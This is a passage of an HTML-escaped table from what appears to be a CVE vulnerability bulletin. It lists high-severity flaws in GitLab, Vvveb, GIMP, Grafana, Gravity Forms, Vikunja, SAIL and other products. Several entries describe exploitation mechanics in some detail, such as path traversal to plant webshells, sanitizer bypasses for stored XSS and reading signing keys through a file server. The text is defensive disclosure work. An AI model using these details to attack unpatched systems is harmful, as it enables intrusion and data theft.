&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79708&quot; target=&quot;_blank&quot;&gt;CVE-2026-79708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab EE affecting all versions from 12.3 to 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 under certain conditions could allow an authenticated user to achieve remote code execution by importing a specially crafted Git project export to overflow the Unicode conversion buffer used in Advanced Search indexing.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88765&quot; target=&quot;_blank&quot;&gt;CVE-2026-88765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4.6 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper resource allocation limits in the GraphQL complexity calculation logic.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14871&quot; target=&quot;_blank&quot;&gt;CVE-2025-14871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.4.6 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an unauthenticated user to cause denial of service due to improper resource allocation limits in the GraphQL complexity calculation logic.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1168&quot; target=&quot;_blank&quot;&gt;CVE-2026-1168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GitLab--GitLab&lt;/td&gt;
&lt;td&gt;GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could have allowed an authenticated user to access CI/CD variables outside their intended environment scope due to improper input validation in the environment scope pattern matcher.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13210&quot; target=&quot;_blank&quot;&gt;CVE-2026-13210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;givanz--Vvveb&lt;/td&gt;
&lt;td&gt;Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. From 1.0.0 until 1.0.8.5, saveGlobalElements() in admin/controller/editor/global-trait.php concatenates the attacker-controlled file portion of data-v-save-global to the active theme directory before loadHTMLFile() and file_put_contents() operate on it. An authenticated user with the default Editor role and editor/* permission can submit crafted HTML to module=editor/editor&amp;amp;action=save and traverse to an existing writable PHP file outside the theme directory. If the target is web-accessible, editor-controlled PHP content executes in the web server context; a shipped public/vadmin/index.php entrypoint can be used as an execution trampoline rather than requiring a test-only file. This can permit persistent webshell placement and compromise application confidentiality, integrity, and availability. This issue is fixed in version 1.0.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54612&quot; target=&quot;_blank&quot;&gt;CVE-2026-54612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;givanz--Vvveb&lt;/td&gt;
&lt;td&gt;Vvveb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. Prior to 1.0.8.5, app/controller/user/profile.php accepts the user[bio] field and passes stored content through sanitizeHTML() in system/functions.php, whose on* event-handler regular expression omits the forward-slash delimiter and whose do-while condition compares the string to itself, so forbidden nested tags are removed only once. An Author-role or higher user can submit solidus-prefixed event-handler markup or nested forbidden tags that survive sanitization. The stored bio is rendered without sufficient output encoding on /author/{username}, in the admin user-management view, and potentially in comment displays, causing attacker-controlled JavaScript to execute when unauthenticated visitors, administrators, or other users view the content. This can expose browser-session data and permit victim-context account actions, defacement, or phishing. This issue is fixed in version 1.0.8.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54506&quot; target=&quot;_blank&quot;&gt;CVE-2026-54506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNOME--GIMP&lt;/td&gt;
&lt;td&gt;A flaw was found in the file-psd plugin in GIMP. When generating a thumbnail preview for a specially crafted PSD (Photoshop Document) image file, an integer overflow occurs during the multiplication of values from an embedded JPEG header. This leads to an undersized heap allocation, resulting in a heap-based buffer overflow when the image data is decoded. This buffer overflow corrupts adjacent heap objects, allowing for a controlled memory write that can result in an application crash or arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92248&quot; target=&quot;_blank&quot;&gt;CVE-2026-92248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GNU--libextractor&lt;/td&gt;
&lt;td&gt;GNU libextractor before 1.15 contains a stack-based buffer overflow vulnerability in the process_star_office function that sizes a variable-length stack array from attacker-controlled OLE2 stream data. Attackers can craft malicious StarOffice documents that allocate up to 4 MB on the stack, causing stack overflow and crashing any application extracting metadata from the document.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91752&quot; target=&quot;_blank&quot;&gt;CVE-2026-91752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go--neuvector&lt;/td&gt;
&lt;td&gt;For users authenticated through SAML or OpenID Connect (OIDC), this vulnerability can result in one user receiving another user&#039;s authenticated session when multiple SSO login attempts occur concurrently&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78428&quot; target=&quot;_blank&quot;&gt;CVE-2026-78428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-openapi--swag&lt;/td&gt;
&lt;td&gt;go-openapi/swag jsonutils before 0.27.1 contains a stack overflow vulnerability in ordered JSON parsing and serialization due to unbounded recursion with no depth limit. Remote unauthenticated attackers can submit deeply nested JSON documents to services accepting OpenAPI specifications, causing fatal stack overflow that terminates the process and all in-flight requests.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93450&quot; target=&quot;_blank&quot;&gt;CVE-2026-93450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja versions before 2.6.0 fail to apply rate limiting to /api/v2 public authentication endpoints including login, register, password-reset, and OAuth token routes. Remote unauthenticated attackers can perform unbounded credential guessing, account enumeration, and password-reset flooding attacks without throttling restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91972&quot; target=&quot;_blank&quot;&gt;CVE-2026-91972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 contains an authentication bypass vulnerability in CalDAV BasicAuth endpoints that lack rate limiting protection. Remote unauthenticated attackers can issue unbounded credential-guessing requests against /dav, /.well-known, and /feeds routes to bypass the instance&#039;s anti-brute-force controls and compromise password-only accounts.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91973&quot; target=&quot;_blank&quot;&gt;CVE-2026-91973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;go-vikunja--vikunja&lt;/td&gt;
&lt;td&gt;Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share&#039;s secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share&#039;s permission level to escalate privileges and perform unauthorized writes or administrative actions.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91985&quot; target=&quot;_blank&quot;&gt;CVE-2026-91985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GoAdminGroup--go-admin&lt;/td&gt;
&lt;td&gt;GoAdmin through 1.2.26 fails to properly anchor the logout pattern when checking permissions, allowing authenticated users to bypass permission checks by appending a query parameter. Attackers can append a query string containing the admin prefix followed by /logout to reach administrative endpoints and perform unauthorized actions including reading sensitive data and modifying application state.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92793&quot; target=&quot;_blank&quot;&gt;CVE-2026-92793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GopeedLab--gopeed&lt;/td&gt;
&lt;td&gt;Gopeed through 2.0.0-beta.3 contains a path traversal vulnerability in archive extraction that allows attackers to write arbitrary files outside the extraction directory. Attackers can craft malicious archives with entries containing directory traversal sequences that bypass validation, enabling file write operations when users download and extract archives with AutoExtract enabled.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93992&quot; target=&quot;_blank&quot;&gt;CVE-2026-93992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A flaw has been found in GPAC up to f1219cde. This vulnerability affects the function gf_mo_get_od_id of the file compositor/media_object.c of the component Compositor. Executing a manipulation can lead to use after free. The attack may be performed from remote. The exploit has been published and may be used. Upgrading to version abi-16.24 is able to resolve this issue. This patch is called e34f4ba349d55cd1849f0bcf4cf46552732e2db7. Upgrading the affected component is advised.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91087&quot; target=&quot;_blank&quot;&gt;CVE-2026-91087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in GPAC 26.07.0. This affects the function rmt_client_handle_ws_frame of the file src/utils/rmt_ws.c of the component WebSocket Handler. Executing a manipulation of the argument payload_size can lead to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgrading to version abi-16.26 is able to mitigate this issue. This patch is called 37bccbb30cf53a0e1a084cea9a1ce422b3ddfe12. Upgrading the affected component is recommended.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92399&quot; target=&quot;_blank&quot;&gt;CVE-2026-92399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC 26.08-DEV. This vulnerability affects the function gf_rtp_parse_ttxt of the file src/ietf/rtp_depacketizer.c of the component RTP Depacketizer. Such manipulation of the argument size leads to out-of-bounds read. It is possible to launch the attack remotely. Upgrading to version abi-16.26 is able to resolve this issue. The name of the patch is 6bb0f64b4d1039c0fecd14ee2c1ee861d8661a68. The affected component should be upgraded.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93331&quot; target=&quot;_blank&quot;&gt;CVE-2026-93331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Grafana--Grafana OSS&lt;/td&gt;
&lt;td&gt;Grafana OSS and Grafana Enterprise did not safely resolve symbolic links when extracting plugin archives. A crafted plugin archive can chain relative symbolic link entries to escape the plugin installation directory, writing arbitrary files and an executable backend binary outside that directory. The dropped executable runs with the privileges of the Grafana server process, resulting in remote code execution. Plugin archives are extracted before their signature is verified, so a valid plugin signature does not prevent the write. An operator can therefore be affected by installing a plugin that appears legitimate, as well as by installing a plugin from an arbitrary archive using grafana-cli, the GF_INSTALL_PLUGINS environment variable, or preinstall configuration. Grafana Enterprise is affected because it includes the same plugin extraction code as Grafana OSS.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15815&quot; target=&quot;_blank&quot;&gt;CVE-2026-15815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Grafana--Grafana OSS&lt;/td&gt;
&lt;td&gt;A stored cross-site scripting vulnerability in the Geomap panel&#039;s MapLibre base layer allows a user with the Editor role to execute arbitrary JavaScript in another user&#039;s session by hosting a malicious style configuration, enabling escalation to Org Admin.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76154&quot; target=&quot;_blank&quot;&gt;CVE-2026-76154&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GravitLauncher--Launcher&lt;/td&gt;
&lt;td&gt;GravitLauncher is an open-source Minecraft launcher based on sashok724&#039;s v3. Prior to 5.7.12, an unauthenticated remote actor can send a raw HTTP request target without a leading slash to the default LaunchServer file server on port 9274. FileServerHandler.channelRead0 in components/launchserver/src/main/java/pro/gravit/launchserver/socket/handlers/fileserver/FileServerHandler.java strips the first request-target character and resolves the remaining path against updatesDir without re-normalizing and verifying containment. This leaves parent-directory components in a no-leading-slash request and allows reading any file accessible to the LaunchServer process, including .keys/ecdsa_id, .keys/legacySalt, and LaunchServer.json. Disclosure of those files can expose signing keys, refresh-token material, and database credentials, enabling forged administrative access tokens and full authentication bypass. A normalizing L7 proxy may block the primary request form, but direct exposure and L4/TCP proxies remain affected, and netty.fileServerEnabled is enabled by default. This issue is fixed in 5.7.12.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54617&quot; target=&quot;_blank&quot;&gt;CVE-2026-54617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Gravity Forms--Gravity Forms&lt;/td&gt;
&lt;td&gt;The Gravity Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.1.0.4 via the upload_file function. This is due to a mismatch between the field validation pipeline and the file persistence pipeline, where hidden file upload fields bypass extension validation and a rejected file&#039;s intact upload state is later passed to upload_file() without re-validation. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. Exploitation requires the targeted form to contain a File Upload field with its Visibility set to &#039;Hidden&#039;; the vulnerability is reachable by unauthenticated attackers on any publicly accessible form meeting this condition.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84434&quot; target=&quot;_blank&quot;&gt;CVE-2026-84434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;guchengwuyue--yshop-crm&lt;/td&gt;
&lt;td&gt;yshop-crm through 2.1.3 fails to enforce authorization on the saveRedisSet and getRedisSet endpoints in CrmCustomerController, allowing any authenticated back-office user to read and modify installation-wide lead-allocation and customer auto-recycling policy. Attackers can invoke these endpoints to manipulate shared Redis keys controlling customer auto-recycling behavior, causing mass customer data deletion, disabling lead recycling, or blocking customer creation across the deployment.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92456&quot; target=&quot;_blank&quot;&gt;CVE-2026-92456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hamlib--Hamlib&lt;/td&gt;
&lt;td&gt;Hamlib is a ham radio control library for radios, rotators, and amplifiers. Prior to 4.7.2, the unauthenticated rigctld send_raw command on TCP port 4532 reaches rigctl_send_raw() in tests/rigctl_parse.c, which writes a NUL byte at buf[buf_len + 1] outside its 200-byte stack buffer, and rig_send_raw() in src/rig.c, which copies reply_len - 1 bytes instead of the actual nbytes received. A remote client can send the CR terminator with a short payload to trigger both flaws in one command under the default no-password configuration. The out-of-bounds write can crash the daemon or corrupt adjacent stack memory, while the oversized copy can return up to 198 bytes of uninitialized stack data to the client. This issue is fixed in version 4.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54634&quot; target=&quot;_blank&quot;&gt;CVE-2026-54634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hapifhir--org.hl7.fhir.core&lt;/td&gt;
&lt;td&gt;HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.12, SHCParser in org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java can consume attacker-controlled Smart Health Card JWT content whose header contains zip: &quot;DEF&quot; and whose small raw-DEFLATE payload expands to a very large value. SHCParser.decodeJWT() passes the decoded payload to SHCParser.inflate(), which accumulates all decompressed bytes in a ByteArrayOutputStream without an output-size limit before JSON parsing, and SHCParser.decompress() contains the same unbounded pattern. An application or validator service that accepts attacker-supplied SHC content can therefore suffer excessive heap allocation, severe garbage-collection pressure, request failure, process instability, or process termination. This issue is fixed in version 6.9.12.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81875&quot; target=&quot;_blank&quot;&gt;CVE-2026-81875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hapifhir--org.hl7.fhir.core&lt;/td&gt;
&lt;td&gt;HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.12, SHCParser in org.hl7.fhir.r5/src/main/java/org/hl7/fhir/r5/elementmodel/SHCParser.java can enter an infinite loop while processing attacker-controlled Smart Health Card JWT content whose header contains zip: &quot;DEF&quot; and whose raw-DEFLATE payload is empty or truncated. SHCParser.decodeJWT() reaches SHCParser.inflate(), where Inflater.inflate() can return zero while Inflater.finished() remains false and Inflater.needsInput() is true. The loop also lacks an Inflater.needsDictionary() termination check, SHCParser.decompress() contains the same zero-progress pattern, and ResourceChecker.java can reach SHC parsing during file-format detection. A malformed validation request can pin a JVM worker thread indefinitely, and concurrent requests can exhaust all validation workers. This issue is fixed in version 6.9.12.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81876&quot; target=&quot;_blank&quot;&gt;CVE-2026-81876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hapijs--joi&lt;/td&gt;
&lt;td&gt;joi (npm package `joi`, hapi.js) versions &amp;gt;=17.2.0 &amp;lt;17.13.7 and &amp;gt;=18.0.0 &amp;lt;18.2.6 are vulnerable to regular expression denial of service in the `Joi.string().isoDate()` validation rule. One of the regular expressions the rule applies to the input is unanchored, so a valid ISO date followed by a long run of fractional-second digits causes the regex engine to restart its search from every position in the string, yielding time proportional to the square of the input length (about 1.4 s for 64 KB of digits and about 22 s for 256 KB). A remote attacker who can supply a string to an isoDate validation can stall the application with a single request. Fixed in 17.13.7 and 18.2.6; as a workaround, cap the length of the string before it reaches joi.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92599&quot; target=&quot;_blank&quot;&gt;CVE-2026-92599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HappySeaFox--sail&lt;/td&gt;
&lt;td&gt;SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, the TGA_INDEXED_RLE path selected by image_type == 9 allocates an image buffer using the one-byte-per-pixel SAIL_PIXEL_FORMAT_BPP8_INDEXED format returned by tga_private_sail_pixel_format() in src/sail-codecs/tga/helpers.c, while sail_codec_load_frame_v8_tga() in src/sail-codecs/tga/tga.c derives a two-to-four-byte pixel_size from an attacker-controlled header bpp value from 9 through 32. Loading a crafted color-mapped run-length-encoded TGA through sail_load_from_file() or sail_load_from_memory() therefore writes attacker-controlled bytes beyond the heap pixel buffer. The pixel-count clamp added for CVE-2026-40494 does not constrain the per-pixel write width, so this issue is an incomplete fix of that vulnerability and can cause heap corruption, a reliable crash, or potential code execution. This issue is fixed in version 1.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54626&quot; target=&quot;_blank&quot;&gt;CVE-2026-54626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HappySeaFox--sail&lt;/td&gt;
&lt;td&gt;SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, psd_private_sail_pixel_format() in src/sail-codecs/psd/helpers.c resolves a one-channel PSD in Bitmap color mode to SAIL_PIXEL_FORMAT_BPP1_INDEXED without requiring the file depth to be one, so the pixel buffer uses one-bit rows while sail_codec_load_frame_v8_psd() in src/sail-codecs/psd/psd.c accepts depth == 8 and writes one attacker-controlled byte per pixel. Loading a crafted PSD through sail_load_from_file() or sail_load_from_memory() therefore writes beyond each heap row, causing memory corruption, a reliable crash, or potential code execution. This mode/depth mismatch is distinct from GHSA-rcqx-gc76-r9mv and GHSA-wcj8-hxxf-pq2c. This issue is fixed in version 1.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54627&quot; target=&quot;_blank&quot;&gt;CVE-2026-54627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HappySeaFox--sail&lt;/td&gt;
&lt;td&gt;SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. Prior to 1.0.0, sail_codec_load_frame_v8_xbm() in src/sail-codecs/xbm/xbm.c allocates the decoded pixel buffer using the X11 one-byte-per-literal layout, but an X10 static short file causes the flat decode loop to write two file-controlled bytes per literal. When ceil(width/8) produces an odd row stride, the X10 literal count includes a padding byte for every row, but the destination has no space for those bytes, so loading the XBM through sail_load_from_file, sail_load_from_memory, or sail_start_loading_* produces a forward heap overwrite that scales with image height. The X11 static char path is not affected. The overwrite can corrupt process state, cause reliable crashes, and potentially enable code execution in a susceptible consuming application. This issue is fixed in version 1.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54692&quot; target=&quot;_blank&quot;&gt;CVE-2026-54692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hargata--lubelog&lt;/td&gt;
&lt;td&gt;LubeLogger is a self-hosted, open-source, web-based vehicle maintenance and fuel mileage tracker. Prior to 1.6.8, authenticated non-administrative users could reach HandleTranslationFileUpload and influence the name passed from Controllers/FilesController.cs to RenameFile in Helper/FileHelper.cs. RenameFile constructed newFilePath with string replacement and moved the uploaded file without verifying the resolved absolute path remained under the web root or data directory. A crafted upload name could therefore move an uploaded file outside the intended storage directory, enabling unauthorized file placement or overwrite with the privileges of the application process. This issue is fixed in version 1.6.8.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62278&quot; target=&quot;_blank&quot;&gt;CVE-2026-62278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hargata--lubelog&lt;/td&gt;
&lt;td&gt;LubeLogger is a self-hosted, open-source, web-based vehicle maintenance and fuel mileage tracker. Prior to 1.6.8, an authenticated user could submit caller-controlled recordIds to the DuplicateRecordsToOtherVehicles endpoint while naming destination vehicleIds the user could edit. The endpoint authorized the destination vehicles but fetched source records in Controllers/VehicleController.cs without checking UserCanEditVehicle for each existingRecord.VehicleId. This missing source-vehicle authorization allowed service, collision, upgrade, fuel, tax, supply, note, odometer, reminder, plan, inspection, and equipment records belonging to another user to be copied into an attacker-controlled vehicle, exposing record contents and attachment paths and creating persistent copies. This issue is fixed in version 1.6.8.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62279&quot; target=&quot;_blank&quot;&gt;CVE-2026-62279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hcengineering--platform&lt;/td&gt;
&lt;td&gt;Huly Platform through 0.7.426 contains a server-side request forgery vulnerability in the print service due to missing hostname allowlist validation. Authenticated workspace members can supply arbitrary URLs to the print endpoint, which Puppeteer renders and returns as downloadable PDFs or images, enabling access to internal metadata services and network hosts.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91079&quot; target=&quot;_blank&quot;&gt;CVE-2026-91079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--HCL BigFix Service Management&lt;/td&gt;
